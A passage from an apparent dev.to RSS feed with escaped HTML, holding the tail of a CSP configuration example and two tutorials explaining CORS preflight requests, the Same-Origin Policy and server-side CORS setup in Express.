      &lt;span class="na"&gt;scriptSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cdn.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;reportUri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;reportTo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;csp-group&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;reportOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Sets `Content-Security-Policy-Report-Only` instead of `Content-Security-Policy`&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
    </item>
    <item>
      <title>What Are Preflight Requests and Why They Matter</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Fri, 25 Jul 2025 02:26:43 +0000</pubDate>
      <link>https://dev.to/marsou001/what-are-preflight-requests-and-why-they-matter-3h5i</link>
      <guid>https://dev.to/marsou001/what-are-preflight-requests-and-why-they-matter-3h5i</guid>
      <description>&lt;p&gt;If you've been reading about &lt;strong&gt;&lt;a href="https://marouanesouda.com/blog/a-complete-overview-of-same-origin-policy-and-cross-origin-resource-sharing" rel="noopener noreferrer"&gt;Cross-Origin Resource Sharing&lt;/a&gt;&lt;/strong&gt;, or CORS in short, there is a good chance that you've come across this term: &lt;strong&gt;Preflight Request&lt;/strong&gt;. It's an extra HTTP request that the browser makes &lt;em&gt;before&lt;/em&gt; the actual, cross-origin request to make sure it's safe to send.&lt;/p&gt;

&lt;p&gt;It's basically an HTTP &lt;code&gt;OPTIONS&lt;/code&gt; request that is automatically sent by browsers before certain cross-origin requests. It checks with the web server, and only if the server responds with the right CORS permissions does the browser proceed with the real request, otherwise the browser blocks it.&lt;/p&gt;

&lt;p&gt;This makes CORS secure: a browser checks both origin and intent before sending your actual data.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do Preflight Requests work?
&lt;/h2&gt;

&lt;p&gt;Let’s break it down with a real example:&lt;/p&gt;

&lt;h3&gt;
  
  
  A preflight request from the browser to the server
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;OPTIONS&lt;/span&gt; &lt;span class="nn"&gt;/resource&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;api.example.com&lt;/span&gt;
&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://app.example.com&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Request-Method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;POST&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Request-Headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Authorization, Content-Type&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, there are three essential headers that must be present in a preflight request:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Origin&lt;/code&gt;: is the domain that the request will originate from.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Access-Control-Request-Method&lt;/code&gt;: specifies the HTTP method of the subsequent request (&lt;code&gt;POST&lt;/code&gt; in our case).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Access-Control-Request-Headers&lt;/code&gt;: lists the HTTP headers that will be used for the actual request.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  A preflight response from the server to the browser
&lt;/h3&gt;

&lt;p&gt;First, this all would be meaningless if the server is not configured to support cross-origin requests, because the &lt;a href="https://marouanesouda.com/blog/a-complete-overview-of-same-origin-policy-and-cross-origin-resource-sharing" rel="noopener noreferrer"&gt;Same-Origin Policy&lt;/a&gt; would be triggered and the intended request will be denied. So, the server &lt;strong&gt;must&lt;/strong&gt; be configured with CORS.&lt;/p&gt;

&lt;p&gt;Then, the server will send a response to the preflight request containing these headers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;: lists the allowed origins. It can be a specific domain, or a wildcard &lt;code&gt;*&lt;/code&gt;, which means all origins are allowed (not recommended).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt;: specifies the HTTP methods that are permitted.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt;: indicates the headers that can be used when making the intended request.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a sample response to a preflight request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://app.example.com&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HEAD, GET, POST, OPTIONS, PUT, PATCH, DELETE&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Authorization, Content-Type&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser sees the response, and since it checks out, it is successful, and the browser continues with the actual request. Otherwise it will block it and show an appropriate CORS error message.&lt;/p&gt;

&lt;h2&gt;
  
  
  When Do Preflight Requests Happen?
&lt;/h2&gt;

&lt;p&gt;Preflight requests are not always needed. In fact, &lt;em&gt;simple requests&lt;/em&gt; do not need a preflight request check.&lt;/p&gt;

&lt;p&gt;By "simple requests", I mean requests with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Allowed HTTP methods only: &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;HEAD&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No custom headers, such as &lt;code&gt;Authorization&lt;/code&gt;, &lt;code&gt;X-Custom-Header&lt;/code&gt;, or &lt;code&gt;Accept-Encoding&lt;/code&gt;. Only &lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;Accept-Language&lt;/code&gt;, &lt;code&gt;Content-Language&lt;/code&gt;, and &lt;code&gt;Content-Type&lt;/code&gt; (with the allowed values).&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;Content-Type&lt;/code&gt; header value of &lt;code&gt;text/plain&lt;/code&gt;, &lt;code&gt;multipart/form-data&lt;/code&gt;, &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Any violation of these conditions and the browser will consider the request as a "complex", thus triggering a preflight request. For example, using &lt;code&gt;application/json&lt;/code&gt; as the value for the &lt;code&gt;Content-Type&lt;/code&gt; header.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Will the Browser Enforce CORS Policies For Simple Requests
&lt;/h2&gt;

&lt;p&gt;Even though the browser sends the request, it still enforces CORS when it receives the response. So, if the response does not contain a valid &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header, either because the server is not configured with CORS, or doesn't permit our origin from making the request, the browser will block JavaScript from accessing the response body.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Fix Preflight Issues
&lt;/h2&gt;

&lt;p&gt;You can fix Preflight issues by setting up a &lt;code&gt;OPTIONS&lt;/code&gt; handler. You can do this in two ways:&lt;/p&gt;

&lt;h3&gt;
  
  
  First method: ensure all your APIs respond to &lt;code&gt;OPTIONS&lt;/code&gt; with the correct &lt;code&gt;Access-Control-Allow-*&lt;/code&gt; header
&lt;/h3&gt;

&lt;p&gt;Here is an example using Express.js.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;options&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/resource&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://app.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET,POST,OPTIONS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type,Authorization&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;204&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Second method (preferred): use CORS middleware, and let the framework handle it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cors&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://app.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;OPTIONS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;allowedHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Authorization&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  More Tips
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Include &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt; for Credentialed Requests
&lt;/h3&gt;

&lt;p&gt;If your request uses &lt;code&gt;credentials: 'include'&lt;/code&gt; to send cookies or authentication information, the server must respond with &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;. Without it, the browser will block access to the response data, even if the request itself succeeds.&lt;/p&gt;

&lt;p&gt;Also, the server cannot set wildcard &lt;code&gt;*&lt;/code&gt; for &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;; it must specify the exact origin to avoid exposing sensitive data to unauthorized sites.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cache the Preflight Request
&lt;/h3&gt;

&lt;p&gt;Add a &lt;code&gt;Access-Control-Max-Age&lt;/code&gt; header to cache the preflight request. That way, you won't have to send another preflight request.&lt;/p&gt;

&lt;p&gt;This header takes a numeric value of seconds, and its default value is 5 seconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Preflight Requests As a Defense Mechanism Against &lt;a href="https://marouanesouda.com/blog/csrf-cross-site-request-forgery-in-nodejs" rel="noopener noreferrer"&gt;Cross-Site Request Forgery&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Preflight requests' job is to make sure a cross-origin request is permitted by the target server. If the server denies the request in the preflight response, the browser blocks the actual request from being sent. This can incidentally prevent certain CSRF attempts, but only for "complex" cross-origin requests that trigger a preflight.&lt;/p&gt;

&lt;p&gt;However, attackers typically exploit "simple" &lt;code&gt;POST&lt;/code&gt; requests, which do not trigger a preflight and can slip through if no proper CSRF defenses are in place. That’s why you should never rely on preflight behavior for CSRF protection by trying to make every request "complex". Instead, use proper anti-CSRF measures like &lt;code&gt;SameSite&lt;/code&gt; cookies and anti-CSRF tokens.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>backend</category>
      <category>programming</category>
    </item>
    <item>
      <title>A Complete Overview of Same-Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS)</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Wed, 09 Jul 2025 12:38:55 +0000</pubDate>
      <link>https://dev.to/marsou001/a-complete-overview-of-same-origin-policy-sop-and-cross-origin-resource-sharing-cors-5bmo</link>
      <guid>https://dev.to/marsou001/a-complete-overview-of-same-origin-policy-sop-and-cross-origin-resource-sharing-cors-5bmo</guid>
      <description>&lt;p&gt;If you've spent enough time developing web applications, you've certainly come across this error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access to fetch at 'https://api.example.com' from origin 'https://app.yoursaas.com' has been blocked by CORS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sound familiar?&lt;/p&gt;

&lt;p&gt;Most likely, you've encountered it when your backend and frontend are hosted on separate servers, and the frontend tries to communicate with the backend.&lt;/p&gt;

&lt;p&gt;This error occurs because of a browser-enforced security mechanism called the &lt;strong&gt;Same-Origin Policy (SOP)&lt;/strong&gt;, which blocks JavaScript access to the response body of cross-origin HTTP requests by default.&lt;/p&gt;

&lt;p&gt;To bypass that restriction, your server needs to explicitly allow such access by responding with the appropriate &lt;strong&gt;Cross-Origin Resource Sharing (CORS)&lt;/strong&gt; headers.&lt;/p&gt;

&lt;p&gt;Both &lt;strong&gt;SOP&lt;/strong&gt; and &lt;strong&gt;CORS&lt;/strong&gt; are designed to protect users by preventing unauthorized access to resources and sensitive data between different origins. As a developer, understanding how they work together is essential to building secure and reliable web applications. But first:&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is an "Origin"?
&lt;/h2&gt;

&lt;p&gt;An &lt;strong&gt;origin&lt;/strong&gt; is defined by three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Protocol&lt;/strong&gt; (&lt;code&gt;http&lt;/code&gt;, &lt;code&gt;https&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain name&lt;/strong&gt; (&lt;code&gt;example.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port&lt;/strong&gt; (&lt;code&gt;:80&lt;/code&gt;, &lt;code&gt;:443&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The combination of these three: protocol, domain, and port, defines an origin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33lllvvhv1cgpvb5gsva.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33lllvvhv1cgpvb5gsva.webp" alt="Diagram explaining the concept of origin in web security. Shows how protocol (https), domain (example.com), and port (443) combine to form an origin, with examples of different origins being blocked due to changes in protocol or subdomain." width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If any of those differ, the origin is &lt;strong&gt;not the same&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;  &lt;span class="err"&gt;≠&lt;/span&gt;  &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;  &lt;span class="err"&gt;≠&lt;/span&gt;  &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt;  &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, now that we made it clear what an origin is, we can get to the meat of this post.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is the Same-Origin Policy (SOP)?
&lt;/h2&gt;

&lt;p&gt;According to &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" rel="noopener noreferrer"&gt;MDN&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;strong&gt;Same-Origin Policy&lt;/strong&gt; is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.
&lt;/blockquote&gt;

&lt;p&gt;&lt;small&gt;Source: MDN Web Docs, licensed under &lt;a href="https://creativecommons.org/licenses/by-sa/2.5/" rel="noopener noreferrer"&gt;CC-BY-SA 2.5&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;Same-Origin Policy is one of the cornerstones of web security. It protects your users by stopping potentially malicious websites from interacting with your site's data behind their backs.&lt;/p&gt;

&lt;p&gt;In plain English: &lt;strong&gt;browsers allow web pages to send requests to different origins, but block JavaScript from accessing the response&lt;/strong&gt;, unless the server explicitly allows it via Cross-Origin Resource Sharing.&lt;/p&gt;

&lt;p&gt;Many developers mistakenly believe that the Same-Origin Policy blocks cross-origin requests. In truth, it doesn't prevent the requests themselves, they're still sent and can be seen as successful in the browser’s network tab. What SOP actually restricts is JavaScript’s ability to read the response content from those requests.&lt;/p&gt;

&lt;p&gt;This brings up another common point of confusion when learning about SOP and CORS:&lt;/p&gt;

&lt;h3&gt;
  
  
  How Are We Able to Load Images and Access Links from Different Origins?
&lt;/h3&gt;

&lt;p&gt;Some cross-origin requests are &lt;strong&gt;allowed by design&lt;/strong&gt;. Here are the main exceptions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;a href="https://example.com"&amp;gt;&lt;/code&gt;: Linking to other sites is allowed.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;img src="https://cdn.example.com/logo.png"&amp;gt;&lt;/code&gt;: Images can be loaded cross-origin.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;script src="https://unpkg.com/vue"&amp;gt;&lt;/code&gt;: Scripts from CDNs are permitted (but restricted via &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" rel="noopener noreferrer"&gt;CSP&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Form submissions (&lt;code&gt;&amp;lt;form action="https://api.example.com"&amp;gt;&lt;/code&gt;) are also allowed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What all these have in common is that &lt;strong&gt;they don’t give JavaScript access to the response body&lt;/strong&gt;, and that’s the key.&lt;/p&gt;

&lt;p&gt;In contrast, when you use something like &lt;code&gt;fetch()&lt;/code&gt; or &lt;code&gt;XMLHttpRequest&lt;/code&gt;, you're trying to &lt;strong&gt;read the response data directly from another origin&lt;/strong&gt;, and that’s where SOP draws the line.&lt;/p&gt;

&lt;p&gt;So while some cross-origin requests are allowed for functionality or rendering, the browser keeps a strict boundary: &lt;strong&gt;if your JavaScript wants to interact with the response data&lt;/strong&gt;, you’ll need permission. This is where &lt;strong&gt;CORS&lt;/strong&gt; steps in.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Security Note&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;SOP doesn’t protect against &lt;a href="https://marouanesouda.com/blog/csrf-cross-site-request-forgery-in-nodejs" rel="noopener noreferrer"&gt;Cross-Site Request Forgery&lt;/a&gt; for requests like form submissions. These are allowed cross-origin requests and don’t rely on JavaScript, so SOP and CORS don’t apply. CSRF works precisely because the browser automatically includes credentials like cookies on such requests. For "simple" requests (we'll get to that later) that do use JavaScript, SOP may block reading the response, but the server still processes the request unless proper CSRF defenses are in place.&lt;/p&gt;

&lt;p&gt;So how do we get cross-origin data access when we actually need it?&lt;/p&gt;

&lt;h2&gt;
  
  
  Enter CORS: Cross-Origin Resource Sharing
&lt;/h2&gt;

&lt;p&gt;So what happens if your frontend &lt;em&gt;needs&lt;/em&gt; to talk to another origin, like an API hosted elsewhere?&lt;/p&gt;

&lt;p&gt;That’s where &lt;strong&gt;CORS&lt;/strong&gt; comes in.&lt;/p&gt;

&lt;p&gt;Cross-Origin Resource Sharing is a security standard that tells browsers what cross-origin requests are allowed. Basically, it's an opt-in exception mechanism for SOP.&lt;/p&gt;

&lt;p&gt;It’s implemented on the &lt;strong&gt;server-side&lt;/strong&gt;, and it tells the browser which domains are allowed to access its resources.&lt;/p&gt;

&lt;p&gt;This is how it works: the server responds along with specific CORS headers, and based on the values those headers hold, the browser decides whether to grant JavaScript access to the response body or block it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The server doesn't block or permit anything, that's entirely up to the browser.&lt;/strong&gt; The server can only influence the browser's decision by setting the right CORS header values.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Simple CORS Example
&lt;/h3&gt;

&lt;p&gt;Let’s say you’re trying to fetch user data from your API with a simple HTTP &lt;code&gt;GET&lt;/code&gt; request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://backend.com/some-api&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the browser detects that the request is going to a different origin, it sends it and waits for the server’s response. Then it checks whether the &lt;strong&gt;response from the server&lt;/strong&gt; includes the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header. If the header is missing or doesn't allow the requesting origin, the browser blocks JavaScript from accessing the response.&lt;/p&gt;

